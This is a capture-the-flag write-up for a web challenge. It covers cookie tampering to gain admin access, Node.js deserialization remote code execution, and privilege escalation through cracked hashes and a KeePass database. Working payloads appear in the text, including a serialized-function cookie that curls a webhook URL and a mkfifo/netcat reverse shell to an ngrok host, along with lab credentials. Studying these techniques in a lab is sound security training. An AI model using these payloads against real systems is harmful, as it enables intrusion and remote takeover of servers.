ChallengeWriteup

Day 5 Challenge Writeups

Cover Image for Day 5 Challenge Writeups
Team
Team

Vulnbydefault Day 5 Writeup

On opening the site url we have given following interface:

Pasted Image

Enumeration

Lets fuzz the application

Pasted Image

we have admin endpoint

FLAG1

Pasted Image

FLAG2

Lets check the source of index

Pasted Image

Lets decode it I would use this site cyberchef

Pasted Image

FLAG3

Lets register a user and login

Pasted Image

Lets login on login endpoint

Pasted Image

We got redirected to /profile on successful login

Pasted Image

Lets check the cookie data

Pasted Image

Lets decode it and check what it contains in encoded form

Pasted Image

So it is just storing the json object in cookie

{"streamername":"Sulitech","status":"online","age":"20","games":"0","is_admin":false,"friendsonline":"0","totalstreams":"0","clips":"0"}

Lets check the /admin endpoint

Pasted Image

we can see in the cookie there is field name is_admin lets see it to true and try to check /admin endpoint

Pasted Image

Now just change the cookie

Pasted Image

Flag4

Now lets check if on changing username field in json cookie and try to check its modified username on profile pa

Pasted Image

Now on changing the cookie we should see the change on profile

Sulitech -> Sulitechctf

Pasted Image

So this confirms that its reflecting it on page we can see that cookie is in json form instead of other forms and on change it give us modified result This gives us hint about nodejs deserialization attack

Lets use nodejs deserialization payload

I would username field you can use any field

{"streamername":"_$$ND_FUNC$$_function (){require('child_process').exec('curl <webhook link>', function(error, stdout, stderr) { console.log(stdout) });}()","status":"online","age":"20","games":"0","is_admin":true,"friendsonline":"0","totalstreams":"0","clips":"0"}

Lets go to site copy the url

Pasted Image

{"streamername":"_$$ND_FUNC$$_function (){require('child_process').exec('curl https://webhook.site/5ee90786-0c6a-47bf-a6d0-76dd7ca1689f', function(error, stdout, stderr) { console.log(stdout) });}()","status":"online","age":"20","games":"0","is_admin":true,"friendsonline":"0","totalstreams":"0","clips":"0"}

Now encode that cookie and change cookie of site

Alright on changing cookie and refreshing the profile page we got hit on our webhook This thing confirms our rce

Pasted Image

Now lets make payload for reverse shell

{"streamername":"_$$ND_FUNC$$_function (){require('child_process').exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc ngorkip port >/tmp/f', function(error, stdout, stderr) { console.log(stdout) });}()","status":"online","age":"20","games":"0","is_admin":true,"friendsonline":"0","totalstreams":"0","clips":"0"}

Do following steps

  1. start netcat listener
  2. tunnel connection using ngork
  3. change the ngrokip and port in payload
  4. change cookie of application
  5. refresh the profile page

Pasted Image

Now stabilize the shell

Pasted Image

upload the ctf.db file and access it using sqlitebrowser

Pasted Image

Pasted Image

Lets check the users table

Pasted Image

copy the hash and check it on hashes.com

Pasted Image

Flag 5

Pasted Image

Lets check the sudo privileges of developer user

Pasted Image

Lets check mail of developer

Pasted Image

we got password for tester user

tester:r00tm31fy0uc4n

user.txt

Pasted Image

we have secret database keepass file

lets upload it and check its content

Open keepassxc

Alright it has password on it

Pasted Image

Lets use keepass2john to get hash and crack it

Pasted Image

save it without first part which contain filename copy all the stuff after first colon :

Pasted Image

Lets use it in keepassxc

Pasted Image

we have two enteries in secret database

Pasted Image

Flag 6

Lets open secret entry

Pasted Image

root.txt

Lets open the root pass entry

Pasted Image

root:y0u4r3G00d4tcr4ck1ngP4ssw0rd we have got root password

Pasted Image